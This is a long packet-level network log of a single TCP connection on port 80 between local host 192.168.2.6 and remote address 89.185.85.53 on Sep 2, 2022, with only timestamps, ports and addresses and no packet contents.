Sep 2, 2022 14:03:31.712275028 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712285042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712299109 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712307930 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712322950 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712331057 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712344885 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712357998 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712371111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712379932 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712394953 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712403059 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712418079 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712424994 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712440968 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712449074 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712460995 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712472916 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712487936 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712496042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712510109 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712518930 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712531090 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712542057 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712555885 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712564945 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712584972 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712589025 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712599993 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712613106 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712626934 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712635994 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712658882 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712676048 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712681055 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712682962 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712696075 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712703943 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712718964 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712727070 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712747097 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712749958 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712760925 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712773085 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712786913 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712795973 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712810040 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712820053 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712831020 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712841988 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712856054 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712862968 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712879896 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712886095 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712899923 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712909937 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712920904 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712932110 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712945938 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712954998 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712970972 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.712979078 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.712992907 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713005066 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713016033 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713028908 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713043928 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713052988 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713067055 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713076115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713093996 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713099957 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713121891 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713129044 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713138103 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713145971 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713159084 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713171005 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713185072 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713195086 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713208914 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713217020 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713232994 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713238955 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713249922 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713262081 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713274002 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713284969 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713299990 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713306904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713319063 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713327885 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713341951 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713351011 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713363886 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713375092 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713387012 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713397980 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713409901 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713418961 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713439941 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713442087 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713464975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713464975 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713485003 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713488102 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713509083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713522911 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713527918 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713531017 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713545084 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713552952 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713577986 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713582993 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713591099 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713599920 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713623047 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713624001 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713639021 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713646889 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713658094 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713669062 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713684082 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713690042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713705063 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713711977 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713728905 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713735104 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713747978 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713757038 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713772058 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713779926 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713795900 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713804007 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713814020 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713826895 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713841915 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713849068 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713862896 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713871956 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713881016 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713895082 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713906050 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713917971 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713931084 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713941097 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713953972 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713963032 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713975906 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.713984013 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.713999987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714006901 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714018106 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714029074 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714046955 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714054108 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714065075 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714076996 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714092016 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714099884 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714112043 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714123964 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714138985 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714149952 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714162111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714173079 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714184999 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714195967 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714207888 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714216948 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714234114 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714241028 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714253902 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714265108 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714286089 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714308023 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714313984 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714354038 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714359045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714392900 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714418888 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714426994 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714433908 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714443922 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714457035 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714468956 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714492083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714514017 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714554071 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714567900 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714595079 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714616060 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714618921 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714639902 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714643002 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714668036 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714695930 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714720011 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714745045 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714770079 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714797020 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714802980 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714803934 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714804888 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714807987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714809895 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714812040 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714813948 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714845896 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714884996 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714914083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714927912 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714937925 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714957952 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714961052 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.714972973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.714986086 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715003014 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715009928 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715022087 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715033054 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715054989 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715078115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715100050 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715111017 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715120077 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715123892 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715150118 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715152979 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715173006 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715178013 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715195894 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715202093 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715217113 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715219975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715244055 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715245008 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715265989 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715267897 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715284109 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715291977 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715302944 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715317011 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715328932 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715341091 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715379953 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715379953 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715387106 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715405941 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715428114 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715430975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715445995 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715452909 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715476036 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715478897 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715498924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715498924 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715523005 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715523005 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715543985 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715548038 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715560913 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715572119 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715596914 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715620041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715620995 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715626001 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715641022 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715645075 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715663910 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715667009 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715684891 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715688944 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715711117 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715712070 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715725899 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715735912 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715756893 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715756893 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715771914 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715781927 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715796947 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715809107 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715820074 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715835094 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715847015 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715857029 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715874910 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715879917 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715892076 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715904951 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715919971 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715929031 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715953112 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715956926 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715979099 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.715986967 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.715991020 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716001987 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716016054 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716025114 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716047049 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716068983 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716084003 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716089010 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716094017 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716095924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716120005 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716123104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716142893 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716142893 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716162920 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716169119 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716191053 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716195107 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716208935 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716219902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716238022 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716242075 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716259003 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716278076 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716291904 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716300964 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716312885 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716324091 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716336966 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716346025 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716362000 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716368914 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716392040 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716409922 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716414928 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716417074 CEST	49827	80	192.168.2.6	89.185.85.53
